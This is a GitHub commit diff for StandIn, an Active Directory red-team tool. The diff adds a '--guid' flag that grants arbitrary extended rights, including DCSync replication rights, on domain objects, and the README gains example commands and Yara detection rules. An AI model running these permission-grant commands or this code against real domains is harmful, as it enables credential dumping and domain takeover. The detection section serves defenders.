Skip to content

Commit 29642c5

Browse files
FuzzySecurityFuzzySecurity
committed
+v0.8
1 parent fc43d62 commit 29642c5

File tree

3 files changed

+110
-10
lines changed

3 files changed

+110
-10
lines changed

‎README.md‎

Lines changed: 80 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,8 @@ The following items are currently on the radar for implementation in subsequent
2626
- S4U2Pwnage (by [@harmj0y](https://twitter.com/harmj0y)) - [here](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)
2727
- Resource-based Constrained Delegation (by [@spotheplanet](https://twitter.com/spotheplanet)) - [here](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution)
2828
- Rubeus - [here](https://github.com/GhostPack/Rubeus)
29+
- Powerview - [here](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
30+
- Powermad (by [@kevin_robertson](https://twitter.com/kevin_robertson)) - [here](https://github.com/Kevin-Robertson/Powermad)
2931

3032
# Index
3133
- [Help](#help)
@@ -38,7 +40,7 @@ The following items are currently on the radar for implementation in subsequent
3840
- [Remove ASREP from object flags](#addremove-asrep-from-object-flags)
3941
- [ASREP](#asrep)
4042
- [SPN](#spn)
41-
- [Unconstrained / constrained delegation](#unconstrained--constrained-delegation)
43+
- [Unconstrained / constrained / resource-based constrained delegation](#unconstrained--constrained--resource-based-constrained-delegation)
4244
- [DC's](#dcs)
4345
- [Groups Operations](#groups-operations)
4446
- [List group membership](#list-group-membership)
@@ -49,13 +51,14 @@ The following items are currently on the radar for implementation in subsequent
4951
- [Delete machine object](#delete-machine-object)
5052
- [Add msDS-AllowedToActOnBehalfOfOtherIdentity](#add-msds-allowedtoactonbehalfofotheridentity)
5153
- [Remove msDS-AllowedToActOnBehalfOfOtherIdentity](#remove-msds-allowedtoactonbehalfofotheridentity)
54+
- [Detection](#detection)
5255

5356
## Help
5457

5558
```
5659
__
5760
( _/_ _// ~b33f
58-
__)/(//)(/(/) v0.7
61+
__)/(//)(/(/) v0.8
5962
6063
6164
>--~~--> Args? <--~~--<
@@ -67,6 +70,7 @@ __)/(//)(/(/) v0.7
6770
--ntaccount User name, e.g. "REDHOOK\UPickman"
6871
--sid String SID representing a target machine
6972
--grant User name, e.g. "REDHOOK\KMason"
73+
--guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
7074
--domain Domain name, e.g. REDHOOK
7175
--user User name
7276
--pass Password
@@ -95,6 +99,7 @@ StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFl
9599
96100
# Grant object access permissions
97101
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --type DCSync
102+
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
98103
StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOK\MBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
99104
100105
# Set object password
@@ -363,7 +368,7 @@ C:\> StandIn.exe --object samaccountname=m-10-1909-01$ --access --ntaccount "MAI
363368
364369
#### Syntax
365370

366-
Add permission to the resolved object for a specified NTAccount. Currently a small set of privileges are supported (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync) but a parameter can easily be added to allow users to specify a custom ExtendedRight GUID.
371+
Add permission to the resolved object for a specified NTAccount. StandIn supports a small set of pre-defined privileges (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync) but it also allows operators to specify a custom rights guid using the `--guid` flag.
367372

368373
```
369374
C:\> whoami
@@ -1036,3 +1041,75 @@ C:\> StandIn.exe --computer m-10-1909-03 --remove
10361041
Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
10371042
[+] msDS-AllowedToActOnBehalfOfOtherIdentity property removed..
10381043
```
1044+
1045+
## Detection
1046+
1047+
This section will outline a number of IOC which can aid the detection engineering process for StandIn.
1048+
1049+
#### Release Package Hashes
1050+
1051+
The following table maps the release package hashes for StandIn.
1052+
1053+
```
1054+
-=v0.7=-
1055+
StandIn_Net35.exe SHA256: A1ECD50DA8AAE5734A5F5C4A6A951B5F3C99CC4FB939AC60EF5EE19896CA23A0
1056+
MD5: 50D29F7597BF83D80418DEEFD360F093
1057+
1058+
StandIn_Net45.exe SHA256: DBAB7B9CC694FC37354E3A18F9418586172ED6660D8D205EAFFF945525A6A31A
1059+
MD5: 4E5258A876ABCD2CA2EF80E0D5D93195
1060+
```
1061+
1062+
#### Yara
1063+
1064+
The following Yara rules can be used to detect StandIn on disk, in it's default form.
1065+
1066+
```js
1067+
rule StandIn
1068+
{
1069+
meta:
1070+
author = "Ruben Boonen (@FuzzySec)"
1071+
description = "Detect StandIn string constants."
1072+
1073+
strings:
1074+
$s1 = "StandIn" ascii wide nocase
1075+
$s2 = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" ascii wide nocase
1076+
$s3 = "msDS-AllowedToActOnBehalfOfOtherIdentity" ascii wide nocase
1077+
$s4 = ">--~~--> Args? <--~~--<" ascii wide nocase
1078+
1079+
condition:
1080+
all of ($s*)
1081+
}
1082+
1083+
rule StandIn_PDB
1084+
{
1085+
meta:
1086+
author = "Ruben Boonen (@FuzzySec)"
1087+
description = "Detect StandIn default PDB."
1088+
1089+
strings:
1090+
$s1 = "\\Release\\StandIn.pdb" ascii wide nocase
1091+
1092+
condition:
1093+
all of ($s*)
1094+
}
1095+
```
1096+
1097+
#### SilktETW Microsoft-Windows-DotNETRuntime Yara Rule
1098+
1099+
The Yara rule below can be used to detect StandIn when execution happens from memory. To use this rule, the EDR solution will require access to the `Microsoft-Windows-DotNETRuntime` ETW data provider. For testing purposes, this rule can be directly evaluated using [SilkETW](https://github.com/fireeye/SilkETW). It should be noted that this is a generic example rule, production alerting would required a more granular approach.
1100+
1101+
```js
1102+
rule Silk_StandIn_Generic
1103+
{
1104+
meta:
1105+
author = "Ruben Boonen (@FuzzySec)"
1106+
description = "Generic Microsoft-Windows-DotNETRuntime detection for StandIn."
1107+
1108+
strings:
1109+
$s1 = "\\r\\nFullyQualifiedAssemblyName=0;\\r\\nClrInstanceID=StandIn" ascii wide nocase
1110+
$s2 = "MethodFlags=Jitted;\\r\\nMethodNamespace=StandIn." ascii wide nocase
1111+
1112+
condition:
1113+
any of them
1114+
}
1115+
```

‎StandIn/StandIn/Program.cs‎

Lines changed: 26 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ public static void returnObject(String sObject, String sDomain = "", String sUse
4343
return;
4444
}
4545

46-
// Get machine details
46+
// Get object details
4747
foreach (SearchResult sr in oObject)
4848
{
4949
DirectoryEntry mde = sr.GetDirectoryEntry();
@@ -622,7 +622,7 @@ public static void getObjectAccessPermissions(String sObject, String sNTAccount
622622
}
623623
}
624624

625-
public static void grantObjectAccessPermissions(String sObject, hStandIn.AccessRequest oAccess, String sNTAccount, String sDomain = "", String sUser = "", String sPass = "")
625+
public static void grantObjectAccessPermissions(String sObject, hStandIn.AccessRequest oAccess, String sGUID, String sNTAccount, String sDomain = "", String sUser = "", String sPass = "")
626626
{
627627
// Create searcher
628628
hStandIn.SearchObject so = hStandIn.createSearchObject(sDomain, sUser, sPass);
@@ -705,9 +705,22 @@ public static void grantObjectAccessPermissions(String sObject, hStandIn.AccessR
705705
ar = new ActiveDirectoryAccessRule(ir, ActiveDirectoryRights.ExtendedRight, AccessControlType.Allow, rightGuid, ActiveDirectorySecurityInheritance.None);
706706
mde.Options.SecurityMasks = System.DirectoryServices.SecurityMasks.Dacl;
707707
mde.ObjectSecurity.AddAccessRule(ar);
708+
} else if (!String.IsNullOrEmpty(sGUID))
709+
{
710+
Guid rightGuid = new Guid(sGUID); // Custom rights guid
711+
ActiveDirectoryAccessRule ar = new ActiveDirectoryAccessRule(ir, ActiveDirectoryRights.ExtendedRight, AccessControlType.Allow, rightGuid, ActiveDirectorySecurityInheritance.None);
712+
mde.Options.SecurityMasks = System.DirectoryServices.SecurityMasks.Dacl;
713+
mde.ObjectSecurity.AddAccessRule(ar);
708714
}
715+
709716
mde.CommitChanges();
710-
Console.WriteLine(" |_ Success, added " + Enum.GetName(typeof(hStandIn.AccessRequest), oAccess) + " privileges to object for " + sNTAccount);
717+
if (Enum.GetName(typeof(hStandIn.AccessRequest), oAccess) != "none")
718+
{
719+
Console.WriteLine(" |_ Success, added " + Enum.GetName(typeof(hStandIn.AccessRequest), oAccess) + " privileges to object for " + sNTAccount);
720+
} else
721+
{
722+
Console.WriteLine(" |_ Success, added GUID rights privilege to object for " + sNTAccount);
723+
}
711724
}
712725
catch (Exception ex)
713726
{
@@ -1525,6 +1538,9 @@ class ArgOptions
15251538
[Option(null, "ntaccount")]
15261539
public String sNtaccount { get; set; }
15271540

1541+
[Option(null, "guid")]
1542+
public String sGUID { get; set; }
1543+
15281544
[Option(null, "delegation")]
15291545
public Boolean bDelegation { get; set; }
15301546

@@ -1604,21 +1620,25 @@ static void Main(string[] args)
16041620
}
16051621
else if (!String.IsNullOrEmpty(ArgOptions.sGrant))
16061622
{
1607-
if (!String.IsNullOrEmpty(ArgOptions.sType))
1623+
if (!String.IsNullOrEmpty(ArgOptions.sType) && ArgOptions.sType.ToLower() != "none")
16081624
{
16091625
try
16101626
{
16111627
hStandIn.AccessRequest arq = (hStandIn.AccessRequest)Enum.Parse(typeof(hStandIn.AccessRequest), ArgOptions.sType.ToLower());
1612-
grantObjectAccessPermissions(ArgOptions.sObject, arq, ArgOptions.sGrant, ArgOptions.sDomain, ArgOptions.sUser, ArgOptions.sPass);
1628+
grantObjectAccessPermissions(ArgOptions.sObject, arq, ArgOptions.sGUID, ArgOptions.sGrant, ArgOptions.sDomain, ArgOptions.sUser, ArgOptions.sPass);
16131629
}
16141630
catch
16151631
{
16161632
Console.WriteLine("[!] Invalid access premission type provided..");
16171633
}
16181634
}
1635+
else if (!String.IsNullOrEmpty(ArgOptions.sGUID))
1636+
{
1637+
grantObjectAccessPermissions(ArgOptions.sObject, hStandIn.AccessRequest.none, ArgOptions.sGUID, ArgOptions.sGrant, ArgOptions.sDomain, ArgOptions.sUser, ArgOptions.sPass);
1638+
}
16191639
else
16201640
{
1621-
grantObjectAccessPermissions(ArgOptions.sObject, hStandIn.AccessRequest.genericall, ArgOptions.sGrant, ArgOptions.sDomain, ArgOptions.sUser, ArgOptions.sPass);
1641+
grantObjectAccessPermissions(ArgOptions.sObject, hStandIn.AccessRequest.genericall, ArgOptions.sGUID, ArgOptions.sGrant, ArgOptions.sDomain, ArgOptions.sUser, ArgOptions.sPass);
16221642
}
16231643
}
16241644
else if (!String.IsNullOrEmpty(ArgOptions.sNewPass))

‎StandIn/StandIn/hStandIn.cs‎

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@ public struct SearchObject
1717

1818
public enum AccessRequest : UInt32
1919
{
20+
none,
2021
genericall,
2122
genericwrite,
2223
resetpassword,
@@ -86,7 +87,7 @@ public static void getHelp()
8687
{
8788
Console.WriteLine(@" __ ");
8889
Console.WriteLine(@" ( _/_ _// ~b33f");
89-
Console.WriteLine(@"__)/(//)(/(/) v0.7");
90+
Console.WriteLine(@"__)/(//)(/(/) v0.8");
9091
Console.WriteLine(@"");
9192
string HelpText = "\n >--~~--> Args? <--~~--<\n\n" +
9293
"--help This help menu\n" +
@@ -96,6 +97,7 @@ public static void getHelp()
9697
"--ntaccount User name, e.g. \"REDHOOK\\UPickman\"\n" +
9798
"--sid String SID representing a target machine\n" +
9899
"--grant User name, e.g. \"REDHOOK\\KMason\"\n" +
100+
"--guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\n" +
99101
"--domain Domain name, e.g. REDHOOK\n" +
100102
"--user User name\n" +
101103
"--pass Password\n" +
@@ -122,6 +124,7 @@ public static void getHelp()
122124

123125
"# Grant object access permissions\n" +
124126
"StandIn.exe --object \"distinguishedname=DC=redhook,DC=local\" --grant \"REDHOOK\\MBWillett\" --type DCSync\n" +
127+
"StandIn.exe --object \"distinguishedname=DC=redhook,DC=local\" --grant \"REDHOOK\\MBWillett\" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\n" +
125128
"StandIn.exe --object samaccountname=SomeTarget001$ --grant \"REDHOOK\\MBWillett\" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e\n\n" +
126129

127130
"# Set object password\n" +

0 commit comments

Comments
 (0)